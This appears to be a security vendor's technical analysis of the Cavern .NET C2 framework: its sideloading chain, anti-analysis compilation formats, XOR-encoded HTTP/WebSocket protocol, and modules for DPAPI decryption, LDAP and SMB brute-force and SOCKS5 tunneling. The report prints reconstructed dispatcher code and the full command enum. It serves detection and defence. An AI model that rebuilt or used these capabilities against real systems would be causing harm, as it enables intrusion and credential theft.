During our investigation, we observed both Cavern agents and Cavern modules in the wild, highlighting a modular architecture that separates core communication capabilities from mission-specific post-exploitation functionality. This design allows the operators to tailor deployments per victim environment, limit what defenders and analysts can recover from any single victim and extend access after compromise through specialized modules for reconnaissance, data access, tunneling, and lateral movement.

Figure 1: Cavern Modules Evade Malware Engines.
Figure 1: Cavern Modules Evade Malware Engines.

Technical Analysis: Cavern – A Modular .NET C2 Framework

1. Cavern at a Glance

Cavern is a modular post-exploitation C2 framework built entirely on .NET, but deliberately compiled into three different binary formats: .NET Framework (IL-only), Mixed-Mode C++/CLI (IL + Native), and .NET 8 NativeAOT (Native-only).

The recovered execution chain begins with SysAid’s software update feature, which the actor leverages to deploy a WinDirStat DLL sideloading package to C:\ProgramData\WinDir\WinDirStat.exe. The legitimate WinDirStat.exe binary loads the trojanized uxtheme.dll, which is the Cavern Agent, and the agent in turn loads a dedicated native communication module n-HTCommp.dll to reach the C2 and then pulls down additional post-exploitation modules on operator command.

Figure 2: Cavern Agent Execution Chain.
Figure 2: Cavern Agent Execution Chain.

The table below provides an overview of the modules.

ComponentInternal NameFormatRole
Cavern Agentuxtheme.dllMixed-Mode C++/CLI (.NET 4.7.2, IL + Native)Core backdoor, module orchestrator
Communication Modulen-HTCommp.dllNativeAOT (.NET 8, Native-only)HTTPS/WebSocket transport, XOR-encrypted traffic
File Managermhm.dll.NET Framework 4.7.2 (IL-only)File ops, DPAPI decrypt, archive handling
SQL Browserdb.dll.NET Framework 4.7.2 (IL-only)Database enumeration, query, export, manipulation
LDAP Moduleode.dll.NET Framework 4.7.2 (IL-only)AD recon, user/group enumeration, LDAP brute-force
Network Modulen-ten.dllNativeAOT (.NET 8, Native-only)Net recon, port scan, share enum, SMB brute-force
Tunnel Modulen-sws.dllNativeAOT (.NET 8, Native-only)SOCKS5 proxy, WebSocket/WSS tunneling

2. Three Compilation Formats as Anti-Analysis

The most distinctive architectural decision in Cavern is the deliberate use of three different .NET compilation targets across its components. This is not obfuscation in the traditional sense; there is no packer, no control-flow flattening, and no string encryption anywhere in the framework. Instead, the compilation format itself becomes the anti-analysis layer, since each of the three formats has to be reversed with a different toolchain and a different workflow, and the analyst has to context-switch between them across components.

  • Pure .NET Framework (IL-only) modules (mhm.dlldb.dllode.dll) retain full symbol metadata, including the shared Command.Type enum with all 61 command IDs, readable class names like ApiEx.DatabaseBrowser, and meaningful method signatures. These modules are trivially decompilable with tools such as ILSpy or dnSpyEx. The developers chose this format for the modules that run inside the agent’s managed AppDomain, where IL code is actually required for reflection-based loading.
  • Mixed-Mode C++/CLI (IL + Native) agents (uxtheme.dll) combine managed .NET code with native C++ in a single PE. Its exports are not regular native functions: each one is a tiny native stub (a jmp followed by ud2 padding) in the .nep section that forwards the call to a managed method behind it. Reversing this format takes both a .NET decompiler for the managed logic and a native disassembler for the export stubs and the C++ marshaling code, so the analyst has to reverse the same binary twice in two different toolchains.
  • NativeAOT .NET 8 (Native-only) modules (n-HTCommp.dlln-ten.dlln-sws.dll) compile the entire .NET runtime statically into a single native PE. The result is usually a 3-6 MB binary with thousands of stripped framework functions, a .managed executable section, and a hydrated BSS-like section where string objects are materialized only at runtime. Security-sensitive P/Invoke calls to APIs like WNetAddConnection2NetShareEnum, or NetLocalGroupGetMembers are resolved through runtime descriptor tables instead of appearing in the PE import table, which hides the module’s real capabilities from import-based triage.

2.1 Tooling Notes for NativeAOT Analysis

NativeAOT is the format that pushed back the hardest during analysis, so it is worth saying a few words on the tooling we put together for it.

To pull useful metadata back out of the NativeAOT samples, we ported Washi’s Ghidra NativeAOT plugin (ghidra-nativeaot; write-up: Recovering Metadata from .NET Native AOT Binaries) to IDA Pro. The port reconstructs the .NET type system from the runtime’s ReadyToRun metadata, rebuilds the MethodTable/EEType hierarchy, recovers virtual methods, materializes the frozen string literals from the hydrated section, and exposes a metadata browser for navigation. It is available at ida-nativeaot.

Figure 3: IDA Pro - “ida-nativeaot” plugin.
Figure 3: IDA Pro – “ida-nativeaot” plugin.

To recover symbols from the stripped NativeAOT .NET 8 modules, we then built a matching .NET 8.0.25 NativeAOT win-x64 “coverage” DLL (compiled with PDB) that deliberately exercises the same .NET runtime and class library code the Cavern samples rely on, and generated IDA FLIRT signatures from it. Applied to the Cavern samples, the signatures matched roughly 60% of all functions, with the matches concentrated on the parts that mattered most for the analysis, e.g., System.Diagnostics.*System.IO.*System.Net.*System.Security.*, and System.Text.*.

3. The Cavern Agent

3.1 UxTheme Facade and Side-Load Trigger

The Cavern Agent is compiled as a 64-bit Mixed-Mode C++/CLI DLL named uxtheme.dll and exports 83 functions that mimic the legitimate Windows theming library. Of these 83 exports, 82 are empty stubs, single-instruction managed methods that return immediately. The one live export is EnableThemeDialogTexture, which serves as the operational entry point for the entire C2 loop.

This design creates a deliberate sandbox trap. Any automated analysis tool that invokes ordinal #1, or any other default export, will observe only inert DLL loading behavior and conclude the sample is benign. The real backdoor personality sits entirely behind export ordinal #20 (0x14).

Figure 4: The Cavern Agent DLL - “uxtheme.dll” → “EnableThemeDialogTexture” exported function.
Figure 4: The Cavern Agent DLL – “uxtheme.dll” → “EnableThemeDialogTexture” exported function.

3.2 C2 Polling Loop

Upon invocation, EnableThemeDialogTexture creates a singleton mutex (MYMUTEX123HELLP02 or MYMUTEX123HELLP04, depending on the build), initializes the local configuration from config.txt, and enters an infinite polling loop. Each iteration builds a command string using the framework’s custom delimiter grammar (_;;_ separates fields, _,_ separates arguments) and hands the actual HTTP transport to n-HTCommp.dll.

Figure 5: The Cavern Agent - Main C2 beacon loop.
Figure 5: The Cavern Agent – Main C2 beacon loop.

3.3 Custom AppDomain Isolation with Post-Execution Unload

One of the most technically interesting mechanisms in the Cavern Agent is its module hosting strategy. Rather than loading .NET modules into the default AppDomain via Assembly.Load (the common approach in most .NET loaders), Cavern creates a dedicated AppDomain for each module executionmarshals a proxy object across the domain boundaryinvokes the module, and then unloads the entire AppDomain.

The reason this design choice is operationally relevant is that .NET assemblies loaded into the default AppDomain cannot be unloaded without terminating the host process. By isolating each module in its own AppDomain, Cavern gets two things: loaded modules can be cleanly removed from memory after execution, leaving no analyzable assembly artifacts behind, and different versions of the same module can be loaded and run one after another without conflict.

Figure 6: The Cavern Agent - “.runAssembely” method → AppDomain isolation.
Figure 6: The Cavern Agent – “.runAssembely” method → AppDomain isolation.

The DotNetProxy class inherits from MarshalByRefObject, which allows it to exist in one AppDomain while being invoked from another. Inside the isolated domain, it performs standard reflection-based loading (via the DotNetProxy.runDll method).

Figure 7: The Cavern Agent - “DotNetProxy.runDll” method → inside the isolated AppDomain.
Figure 7: The Cavern Agent – “DotNetProxy.runDll” method → inside the isolated AppDomain.

3.4 Dual Module Dispatch: Native vs. Managed

The unified module dispatcher is <Module>.run_DLL, a free function on the global <Module> type. The name looks similar to the DotNetProxy.RunDll method shown in the previous section, but the two have different roles<Module>.run_DLL is the outer dispatcher invoked by the agent for every module load, and it is also the one that calls into DotNetProxy.RunDll (via <Module>.runAssembely method) whenever the module turns out to be a managed assembly. The dispatcher itself uses a simple filename convention: modules whose names start with n- are treated as native DLLs and loaded via LoadLibraryA/GetProcAddress, while everything else is treated as a managed .NET assembly and loaded through the AppDomain isolation mechanism described above. Whichever path is taken, the agent ends up calling the same entry point on the loaded module: a function named get_version.

// Cavern Agent - <Module>.run_DLL: Unified Module Dispatcher
// Simplified C# reconstruction of the dnSpyEx decompilation

string <Module>.run_DLL(string moduleName, string arguments)
{
    string resolvedPath = get_latest_dll(moduleName);  // finds highest-numbered version
    string fileName     = Path.GetFileName(resolvedPath);

    if (fileName.StartsWith("n-"))
    {
        // Native module path (NativeAOT compiled)
        IntPtr hModule = LoadLibraryA(resolvedPath);
        if (hModule == IntPtr.Zero)
            return "DLL not found...Maybe you didn't upload it!!!";

        IntPtr pGetVersion = GetProcAddress(hModule, "get_version");
        if (pGetVersion == IntPtr.Zero)
            return "What is this sh*t?! where is get_version?!?";

        var getVersion = Marshal.GetDelegateForFunctionPointer<GetVersionFn>(pGetVersion);
        IntPtr resultPtr = getVersion(Marshal.StringToHGlobalUni(arguments));
        return Marshal.PtrToStringUni(resultPtr);
    }
    else
    {
        // Managed module path (.NET Framework) - loaded in isolated AppDomain
        List<string> argList = new List<string> { arguments };

        return (string)<Module>.runAssembely(
            "mydomain",
            new List<byte>(File.ReadAllBytes(resolvedPath)),
            resolvedPath,
            string.IsNullOrEmpty(arguments),  // noArgs flag
            argList,
            "MyClass.Program",                // fixed class name
            "get_version"                     // fixed method name - the universal interface
        );
    }
}

The native path contains two error strings worth flagging: "What is this sh*t?! where is get_version?!?" and "DLL not found...Maybe you didn't upload it!!!".

Figure 8: The Cavern Agent - native path of dual module dispatch → error strings.
Figure 8: The Cavern Agent – native path of dual module dispatch → error strings.

These are not the kind of polishedneutral diagnostics a code generator tends to emit. They are written in the first person, with frustration, profanity and exclamation marks, and they read exactly like an operator talking to themselves while debugging their own tooling. We come back to what this tells us about authorship in the “Authorship and the Human Factor” section below.

3.5 Module Versioning and Self-Update

Cavern implements a numbered DLL versioning scheme. The function get_latest_dll scans the working directory for files matching a base module name with appended numeric suffixes (e.g., n-HTCommp0.dlln-HTCommp1.dll) and loads the highest-numbered variant. This allows the operator to push module updates via the C2 without file-name conflicts.

Figure 9: The Cavern Agent - module versioning.
Figure 9: The Cavern Agent – module versioning.

The self-command 002 (exposed via self_execute method) accepts a Base64+GZip-compressed module payload from the C2, writes it to disk as a new numbered DLL, and, in the case of uxtheme.dll itself, executes a hot-swap: the running agent renames its own DLL, writes the new version, loads it, calls its EnableThemeDialogTexture with signalCode=200 to signal the update-return path, and terminates. All implemented self-commands are detailed in the next section.

Figure 10: The Cavern Agent - “self_execute” method → self-commands processing.
Figure 10: The Cavern Agent – “self_execute” method → self-commands processing.

3.6 Agent Self-Commands

The agent handles six built-in self-commands before reaching the module dispatcher:

CommandAction
001Update polling interval
002GZip+Base64 module update (including self-update of uxtheme.dll)
003Toggle debug logging
004Activate WebSocket communication mode
005Close WebSocket connection
006Reconnect WebSocket

3.7 Startup Cleanup as Anti-Forensics

Newer agent builds perform aggressive directory cleanup on first startup: they enumerate all files and subdirectories in the working directory and delete everything except the Communication Module (n-HTCommp.dll), the configuration file (config.txt), and log files. This means any modules delivered by the C2 in a previous session are wiped before the next execution cycle, and the agent reports "cleared" to the C2 upon completion.

3.8 Variant Evolution

Three agent builds were recovered, showing clear iterative development:

AttributeOldest BuildBuild 02Build 04
MutexMYMUTEX123HELLPMYMUTEX123HELLP02MYMUTEX123HELLP04
C2 Domainauth.hospitalinstallation.comgoogle.com.hospitalinstallation.comgoogle.com.hospitalinstallation.com
Config Storageid.txt (plain 7-char ID)config.txt (JSON)config.txt (JSON)
Self-Commands001-003001-006 (adds WebSocket)001-006
CleanupNoneWorking-dir wipeWorking-dir wipe
Debug Defaulttruefalsetrue

4. The Communication Module – “n-HTCommp.dll”

The communication module is compiled as a NativeAOT .NET 8 DLL (~5.5 MB, with about 21k stripped framework functions) and exposes a single operational export, get_version. Despite the name, this exported function is a full multi-verb HTTP and WebSocket command dispatcher. The agent passes transport commands as delimited strings, and n-HTCommp.dll parses the verb, performs the network operation, and returns the result.

The verb matching is the first place where the NativeAOT format makes analysis visibly harder. In a normal .NET build, a check like verb == "get" calls String.Equals, and the literal "get" lives in the string heap (#US), where any strings scan will find it. NativeAOT instead compiles the comparison inline: it first checks the length of the verb string, then loads the verb’s UTF-16 characters straight from memory and compares them against hard-coded integer constants. Those constants are simply the verb’s characters packed together as numbers. For "get", the three UTF-16 characters g (0x0067), e (0x0065) and t (0x0074) become the constants 0x650067 and 0x740065 that show up in the comparison.

Figure 11: The Cavern’s “n-HTCommp.dll” module - verb matching → command dispatching.
Figure 11: The Cavern’s “n-HTCommp.dll” module – verb matching → command dispatching.

This is a real triage problem because every readable string in this module behaves differently than in a normal .NET binary. Frozen string literals like httpswsstext/plain, the WebSocket URL fragments and a handful of error messages live in the hydrated section, which is materialized at runtime by the NativeAOT runtime and only becomes a readable UTF-16 string at that point. A strings pass over the DLL on disk does not see them, since on disk that section is a compressed initialization blob. They become visible only after the section is rehydrated, either by running the sample or by reconstructing it statically with the kind of plugin described in section 2.1.

Figure 12: The Cavern’s NativeAOT “n-HTCommp.dll” module - “ida-nativeaot” plugin → section rehydrated → strings reconstructed (e.g. User-Agent).
Figure 12: The Cavern’s NativeAOT “n-HTCommp.dll” module – “ida-nativeaot” plugin → section rehydrated → strings reconstructed (e.g. User-Agent).

The packed verb constants are even further out of reach: they are not strings at all, they are integer immediates baked into the cmp instructions of the dispatcher. So in practice a strings-based triage of this DLL on disk returns almost nothing usable, neither the verb set, nor the URL fragments, nor the user-agent header. The command grammar simply does not exist in any byte sequence that a string scan can pick up.

The dispatcher first marshals the inbound command to a managed string, then splits it on the framework’s two delimiters (_;;_ for the verb/argument boundary and _,_ between arguments), and dispatches to a verb handler.

Figure 13: The Cavern’s “n-HTCommp.dll” module - command dispatcher → verb/argument separation.
Figure 13: The Cavern’s “n-HTCommp.dll” module – command dispatcher → verb/argument separation.

Each verb maps to a distinct network operation, and the handlers differ in three operationally meaningful ways: whether the payload is XORed with key 0x48 (the in-place traffic transform), whether it is then Base64-encoded for the HTTP body, and which HTTP/WS headers and endpoints they touch. Every HTTP-based verb sends a fixed Microsoft Edge User-Agent (Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36 Edg/146.0.0.0), and the two C2-bound verbs (get and send) additionally attach a custom X-User-token header whose value is the agent ID with the literal suffix 00 appended. The summary below was reconstructed by following each verb handler through its full HTTP/WS request build path:

VerbNetworkEndpoint built from argumentsXOR (0x48)Base64User-AgentX-User-tokenPurpose
getHTTP GETargs[1] + "/profile"yes (response body, after Base64 decode)yesyesyes (args[0] + "00")Beacon: poll the C2 for the next task
sendHTTP POST text/plainargs[1] + "/gallery"yes (request body, before Base64 encode)yesyesyes (args[0] + "00")Submit a task result back to the C2
cgetHTTP GETargs[0] (raw URL)nonoyesnoOperator-driven fetch of an arbitrary URL (not C2)
cpostHTTP POSTargs[0] (raw URL), body args[1], content-type args[2] (default text/plain)nonoyesnoOperator-driven POST to an arbitrary URL
uploadHTTP POST multipart/form-dataargs[0] (raw URL), file args[1] from disk as form field file (application/octet-stream)nonoyesnoExfiltrate a local file to an arbitrary URL
wsWS Open + initial WS Sendwss://<host>/socket if args[0] starts with https, otherwise ws://<host>/socket; immediately sends args[1] + "00" as the first text frameyes (initial frame only)non/an/a (sent inside first frame instead)Open the WebSocket transport and register the session
getwsWS Recvactive socketyes (whole accumulated payload, then UTF-8 decoded)non/an/aReceive a message from the WebSocket
sendwsWS Sendactive socketyes (UTF-8 bytes, then framed as text)non/an/aSend a message over the WebSocket
closewsWS Closeactive socketn/an/an/an/aClose the WebSocket

A few practical observations follow directly from the table. First, the XOR transform with key 0x48 is the framework’s traffic-encoding layer, and it applies to every C2-bound channel: it is on both directions of the HTTP path (get / send) and on both directions of the WebSocket path (getws / sendws), plus the initial WS handshake frame. The only verbs that bypass it are cgetcpost and upload, which talk to operator-supplied URLs that have nothing to do with the Cavern C2. Second, Base64 is applied on top of XOR only for the HTTP transport (get and send), where the body has to survive as text/plain; the WebSocket path skips Base64 because it can carry the raw XORed bytes inside a text frame directly. Third, the User-Agent header is fixed across every HTTP verb, including the operator-driven ones, which makes the UA itself a stable host artifact for detection.

Figure 14: The Cavern’s “n-HTCommp.dll” module - “send” command handler.
Figure 14: The Cavern’s “n-HTCommp.dll” module – “send” command handler.

5. Post-Exploitation Modules

All Cavern modules, regardless of compilation format, share a uniform interface contract: the agent invokes get_version(List<string> args) for managed modules or get_version(wchar_t* args) for native modules. The first argument carries a newline-delimited command string using numeric command IDs from the shared Command.Type enum, with _;;_ and _,_ as field/argument delimiters.

Figure 15: Post-exploitation modules - example “mhm.dll” managed module → arguments processing.
Figure 15: Post-exploitation modules – example “mhm.dll” managed module → arguments processing.

The full command set is defined once in that shared enum and reused across every module. We recovered it intact from the .NET Framework modules, which keep their symbols, and it is worth showing in full because the IDs are grouped by capability area. The grouping itself is informative: each block of numbers maps to one functional category, and the gaps between blocks line up neatly with the individual modules that implement them.

public enum Command.Type
{
    NONE                    = 0,    // 0x0   - sentinel / no command         (Agent: uxtheme.dll)
    CHANGE_ALIVE_TIME       = 1,    // 0x1   - update polling interval       (Agent: uxtheme.dll)

    INFO                    = 101,  // 0x65  - host information              (mhm.dll)
    CRYPT_DECRYPT           = 102,  // 0x66  - DPAPI decrypt                 (mhm.dll)
    TOKEN_INFO              = 103,  // 0x67  - token information             (mhm.dll)
    TIME_INFO               = 104,  // 0x68  - time information              (mhm.dll)

    SQL_QUERY               = 201,  // 0xC9  - SQL query                     (db.dll)

    COPY_DIR                = 301,  // 0x12D - copy directory                (mhm.dll)
    COPY_FILE               = 302,  // 0x12E - copy file                     (mhm.dll)
    DRIVES_LIST             = 305,  // 0x131 - list drives                   (mhm.dll)
    FILES_FOLDERS_INFO      = 306,  // 0x132 - files / folders info          (mhm.dll)
    MOVE_FILE               = 307,  // 0x133 - move file                     (mhm.dll)
    MOVE_FOLDER             = 308,  // 0x134 - move folder                   (mhm.dll)
    DEL_FILE                = 309,  // 0x135 - delete file                   (mhm.dll)
    DEL_FOLDER              = 310,  // 0x136 - delete folder                 (mhm.dll)
    CREATE_FOLDER           = 311,  // 0x137 - create folder                 (mhm.dll)
    FILE_FOLDER_LIST        = 312,  // 0x138 - list files / folders          (mhm.dll)
    SEARCH_FILE             = 313,  // 0x139 - search files                  (mhm.dll)
    MOVE                    = 314,  // 0x13A - move                          (mhm.dll)

    LDAP_TEST               = 401,  // 0x191 - LDAP bind test                (ode.dll)
    LDAP_ALL_GROUPS         = 402,  // 0x192 - enumerate all groups          (ode.dll)
    LDAP_ALL_USERS          = 403,  // 0x193 - enumerate all users           (ode.dll)
    LDAP_GROUP_MEMBER       = 404,  // 0x194 - group members                 (ode.dll)
    LDAP_SEARCH             = 405,  // 0x195 - LDAP search                   (ode.dll)
    LDAP_USER_PROPS         = 406,  // 0x196 - user properties               (ode.dll)
    LDAP_BRUTE              = 407,  // 0x197 - LDAP brute-force              (ode.dll)

    PROC_KILL               = 501,  // 0x1F5 - kill process                  (not in modular set; older Cav3rn)
    PROC_LIST               = 502,  // 0x1F6 - list processes                (not in modular set; older Cav3rn)

    REG_ADD                 = 601,  // 0x259 - registry add                  (not in modular set; older Cav3rn)
    REG_DEL                 = 602,  // 0x25A - registry delete               (not in modular set; older Cav3rn)
    REG_QRY_SUBKEYS         = 603,  // 0x25B - registry query subkeys        (not in modular set; older Cav3rn)
    REG_QRY_VALUE           = 604,  // 0x25C - registry query value          (not in modular set; older Cav3rn)

    SRV_LIST                = 701,  // 0x2BD - list services                 (not in modular set; older Cav3rn)
    SRV_RESET               = 702,  // 0x2BE - reset service                 (not in modular set; older Cav3rn)
    SRV_START               = 703,  // 0x2BF - start service                 (not in modular set; older Cav3rn)
    SRV_STOP                = 704,  // 0x2C0 - stop service                  (not in modular set; older Cav3rn)

    GZ_READ                 = 801,  // 0x321 - GZip read (download)          (mhm.dll)
    GZ_WRITE                = 802,  // 0x322 - GZip write (upload)           (mhm.dll)
    COMPRESS_DIR            = 803,  // 0x323 - compress directory            (mhm.dll)
    DECOMPRESS_DIR          = 804,  // 0x324 - decompress directory          (mhm.dll)
    DECOMPRESS_FILE         = 805,  // 0x325 - decompress file               (mhm.dll)
    LIST_ARCHIVE_ITEMS      = 806,  // 0x326 - list archive items            (mhm.dll)

    DBBrowser               = 901,  // 0x385 - SQL database browser          (db.dll)

    NET_DNS_RESOLVE         = 1101, // 0x44D - DNS resolve                   (n-ten.dll)
    NET_INTERFACES          = 1102, // 0x44E - network interfaces            (n-ten.dll)
    NET_IP_CONFIG           = 1103, // 0x44F - IP configuration              (n-ten.dll)
    NET_PING                = 1104, // 0x450 - ping host                     (n-ten.dll)
    NET_STAT                = 1106, // 0x452 - netstat / connections         (n-ten.dll)

    NET_USE_GET_MAP_DRV     = 1201, // 0x4B1 - list mapped drives            (n-ten.dll)
    NET_USE_MAP_DRV         = 1202, // 0x4B2 - map network drive             (n-ten.dll)
    NET_USE_UNMAP_DRV       = 1203, // 0x4B3 - unmap network drive           (n-ten.dll)
    NET_USE_BRUTE           = 1204, // 0x4B4 - SMB credential brute-force    (n-ten.dll)

    NET_USR_GET             = 1301, // 0x515 - user info                     (n-ten.dll)
    NET_USR_GET_ALL         = 1302, // 0x516 - enumerate users               (n-ten.dll)

    NET_LOCAL_GROUP         = 1401, // 0x579 - enumerate local groups        (n-ten.dll)
    NET_LOCAL_GROUP_MEMBERS = 1402, // 0x57A - local group members           (n-ten.dll)

    NET_ARP_TABLE           = 1501, // 0x5DD - ARP table                     (n-ten.dll)

    NET_GET_DOMAIN          = 1601, // 0x641 - current domain / workstation  (n-ten.dll)
    NET_VIEW_SHARE_LIST     = 1602, // 0x642 - list shares on a host         (n-ten.dll)
    NET_DOMAIN_COMPUTERS    = 1603, // 0x643 - list computers in domain      (n-ten.dll)

    NET_PORT_SCN            = 1701  // 0x6A5 - TCP port scan                 (n-ten.dll)
}

The enum defines 61 command IDs in total. Most map directly to a handler in one of the recovered modules, but a handful (such as the 5xx process and 6xx/7xx registry and service ranges) have no implementation in any sample we obtained, which suggests at least one module was never delivered to the victim and is still missing from our set.

Two older Cav3rn-era samples found on VirusTotal during this writeup also help frame that gap. They predate the rename, are nearly identical to each other, and are not part of the modular intrusion documented here, but each ships every ApiEx.* capability (ApiEx.ProcApiEx.RegApiEx.Serv included – related to the 5xx/6xx/7xx command IDs) inside a single .NET DLL under namespace CAV3RN_APIEX_Module rather than across separate modules. Transport in those builds is split: the Cav3rn agent itself only reads steganographic command PNGs from a local inpt\ directory and writes result PNGs into outpt\, while the HTTP exchange against the C2 is performed by a separate HTTP companion module (CAV3RN_Http_Module), which we later recovered as a third Cav3rn-era sample. The companion consumes the same Domain[] and PageName = "cac.aspx" constants the agent carries, POSTs s=<timestamp>&id=<AgentID>&q=<XOR+Base32 telemetry> to https://<adserviceupdate[.]com|hygienehistory[.]com>/cac.aspx, and expects a response whose body starts with a fixed 21-byte JPEG magic header and whose Content-Disposition: filename= value is XOR+Base32-encrypted with the AgentID, then drops the carved payload into the same local inpt\ directory the agent reads from. Two details in that exchange show that cac.aspx is an operator-deployed handler rather than an abused legitimate page: the request and response shape is a custom protocol no clean IIS server would understand or produce, and the companion’s ServerCertificateValidationCallback is hard-coded to always return true, meaning the operator is explicitly not relying on a properly-issued certificate for the C2 endpoint. Whether the underlying IIS server is attacker-stood-up or cac.aspx was planted on a third-party host the operator does not fully control is not something the binary distinguishes.

The modern framework collapses both halves into n-HTCommp.dll with direct HTTPS / WebSocket. The command set is also smaller and clearly under active development, and there is no NativeAOTno Mixed-Mode wrapper, and no AppDomain isolation. Today’s Cavern is a refactor of that same project, split across separate modules and rebuilt around three different compilation formats to harden the analysis. The three hashes (Cav3rn-era samples) are listed in the IOC section as the older Cav3rn agent (two near-identical builds) and the older Cav3rn HTTP module; the rest of this publication stays focused on the modular generation actually used in the intrusion.

5.1 File Manager – “mhm.dll”

The file manager module implements the broadest command surface across three of the enum blocks (the 1xx information block 101-104, the 3xx file/directory block 301-314, and the 8xx archive block 801-806): host information collection, DPAPI decryption, drive/file/directory enumeration, recursive file search with content matching, GZip+Base64 file transfer in both directions, ZIP archive creation/extraction, and file/directory manipulation. It does not implement the 5xx6xx, or 7xx ranges even though those IDs are present in the shared enum it ships.

Its most notable capability is DPAPI decryption of operator-supplied blobs. The CryptDecrypt function takes a Base64-encoded DPAPI-protected blob, calls ProtectedData.Unprotect with DataProtectionScope.CurrentUser, and returns the decrypted plaintext. Because the module runs inside the victim’s process under their user token, this lets the operator decrypt any DPAPI-protected secret that belongs to the compromised user.

Figure 16: The Cavern’s “mhm.dll” module - “CryptDecrypt” DPAPI decryption.
Figure 16: The Cavern’s “mhm.dll” module – “CryptDecrypt” DPAPI decryption.

An older variant of mhm.dll retains legacy “Cav3rn” naming artifacts in its static configuration: file extensions .CvnC.png.CvnA.png.CvnR.png for command, API, and result files, respectively, a config filename Cvn.cfg, a hardcoded page name cac.aspx, and embedded JPEG header magic bytes. These artifacts point to an earlier webshell-style transport layer (the HTTP side fronted by an ASP.NET page on a separate IIS server, invoked by the older Cav3rn HTTP module covered in Section 5, not by this module or by the older Cav3rn agent itself) that was retired when the framework evolved from “Cav3rn” to “Cavern” and moved to the n-HTCommp.dll native communication module.

Figure 17: The Cavern’s “mhm.dll” module - older variant → legacy “Cav3rn” configuration.
Figure 17: The Cavern’s “mhm.dll” module – older variant → legacy “Cav3rn” configuration.

5.2 SQL Database Browser – “db.dll”

The database module implements a REST-like route dispatcher that accepts JSON commands with operator-supplied SQL Server credentials passed through pseudo-HTTP headers. It supports SQL database enumerationqueryexport, and manipulation.

Figure 18: The Cavern’s “db.dll” module - SQL database browser.
Figure 18: The Cavern’s “db.dll” module – SQL database browser.

The connection pool caches SQL connections keyed by connection string. Credentials are supplied per-request via x-db-userx-db-passwordx-db-host, with optional x-db-encrypt and x-db-trust-cert fields, a convention borrowed from HTTP header-based authentication patterns.

5.3 LDAP / Active Directory Module – “ode.dll”

The LDAP module provides Active Directory reconnaissance and credential testing. It auto-discovers the LDAP server and base DN from LDAP://RootDSE when not explicitly supplied, performs paged searches with a page size of 1,000, and always accepts TLS certificates without validation.

The most operationally significant function is LdapBrute, which accepts semicolon-delimited username and hex-encoded password lists, supports file-based input via the <path prefix convention, and includes a configurable inter-attempt delay with break-on-success logic.

Figure 19: The Cavern’s “ode.dll” LDAP module → “LdapBrute” method.
Figure 19: The Cavern’s “ode.dll” LDAP module → “LdapBrute” method.

5.4 Network Reconnaissance Module – “n-ten.dll” (NativeAOT)

The network module is compiled as NativeAOT and provides network reconnaissanceport scanshare enumeration, and SMB brute-force. It resolves its security-sensitive Windows APIs at runtime through P/Invoke descriptor tables, which keep them out of the PE import table. Static analysis of the P/Invoke resolution data recovered 21 dynamically-loaded API descriptors. A selection of the most security-relevant ones is shown below:

P/Invoke TargetLibraryPurpose
WNetAddConnection2mpr.dllMap network drive with credentials
WNetCancelConnection2mpr.dllUnmap network drive
WNetOpenEnum / WNetEnumResourcempr.dllEnumerate network resources
NetUserEnum / NetUserGetInfonetapi32.dllUser enumeration
NetLocalGroupEnum / GetMembersnetapi32.dllLocal group enumeration
NetServerEnumnetapi32.dllDomain computer discovery
NetShareEnumnetapi32.dllShare enumeration
NetWkstaGetInfonetapi32.dllDomain/workstation info

The NetUseBrute function iterates over operator-supplied credential pairs, calling WNetAddConnection2 against a target share with each pair and immediately disconnecting successful connections via WNetCancelConnection2, which gives the operator an SMB-based credential spraying primitive.

Figure 20: The Cavern’s “n-ten.dll” module - “NetUseBrute” function → “WNetAddConnection2”.
Figure 20: The Cavern’s “n-ten.dll” module – “NetUseBrute” function → “WNetAddConnection2”.

5.5 SOCKS5 / WebSocket Tunnel – “n-sws.dll” (NativeAOT)

The tunnel module implements a full SOCKS5 proxy and WebSocket/WSS tunnel in both server and client modes. Its get_version export parses operator-supplied configuration, constructs a command-line argument vector, and dispatches to the internal argument parser, which supports:

Server:  -s -tp <tunnel_port> -sp <socks5_port> -u <user> -p <pass> [-i <info_url>]
Client:  -c -ti <tunnel_ip|domain> -tp <tunnel_port> [-ll <log_level>]

In server mode, it binds HTTP/HTTPS listeners, accepts incoming WebSocket upgrades, enforces username/password authentication, and relays SOCKS5 proxy traffic through the WebSocket tunnel. A built-in HTTP status page at /index.htm returns a Server Status HTML response, a small operational convenience. The tunnel protocol handles five message opcodes: connectheartbeatdatadisconnect, and error.

The binary also preserves developer typos such as "tunnel message receivecd" and "handeling connect ms". Misspellings like these are another small human fingerprint, the kind of thing a person types in a hurry and a code generator generally does not produce. We pull these threads together in the next section.

6. Attribution Indicators

The recovered artifacts contain several developer and infrastructure fingerprints:

  • PDB paths across three modules consistently reference C:\Users\rick\Desktop\Modules\cavern\, which establishes “rick” as the developer username and “cavern” as the internal project name.
  • C2 infrastructure uses subdomains of hospitalinstallation[.]comauth[.]hospitalinstallation[.]com (older builds) and google[.]com[.]hospitalinstallation[.]com (newer builds, where the google[.]com[.] prefix is a simple visual trick aimed at anyone skimming proxy logs).
  • Legacy naming in the older mhm.dll variant references Cav3rn (with a leetspeak “3”) through field names like Cav3rnCommandExt, which suggests the framework was renamed from “Cav3rn” to “Cavern” during its development.
  • Cross-version continuity. Two older non-modular Cav3rn samples (listed in IOCs as the older Cav3rn agent) carry the same ApiEx.* capability tree, the same Command.Type enum and the same idiosyncratic method names that today’s modular Cavern is built on top of. The newer framework adds commands (LDAP_BRUTECRYPT_DECRYPT, archive ops and the NET_PORT_SCN block), retires the webshell + steganography transport in favor of n-HTCommp.dll, and splits the codebase across three different compilation formats – a refactor of the same project, not a rewrite.

7. Authorship and the Human Factor

It is worth pausing on a question that comes up with almost every new toolset we look at today: how much of this was written by a person, and how much by an AI coding assistantIn 2026 it is genuinely hard to imagine a project of this size being built with no AI assistance at all, and we would not claim that Cavern was. Boilerplate such as the JSON formatting, the LINQ-heavy collection handling, and the standard P/Invoke signatures could easily have been drafted or completed with a model. That kind of help is so common now that its presence would tell us very little.

What the artifacts do tell us, and tell us clearly, is that a human was significantly and substantively involved in building this framework. The evidence is in the rough edges that a code generator tends to sand off:

  • Error strings written in frustration. The native module dispatcher of the Cavern agent returns "What is this sh*t?! where is get_version?!?" when an export is missing and "DLL not found...Maybe you didn't upload it!!!" when a module is absent. These are first-personprofane, and exasperated. They are the voice of an operator debugging their own tooling, not the neutral phrasing a model defaults to.
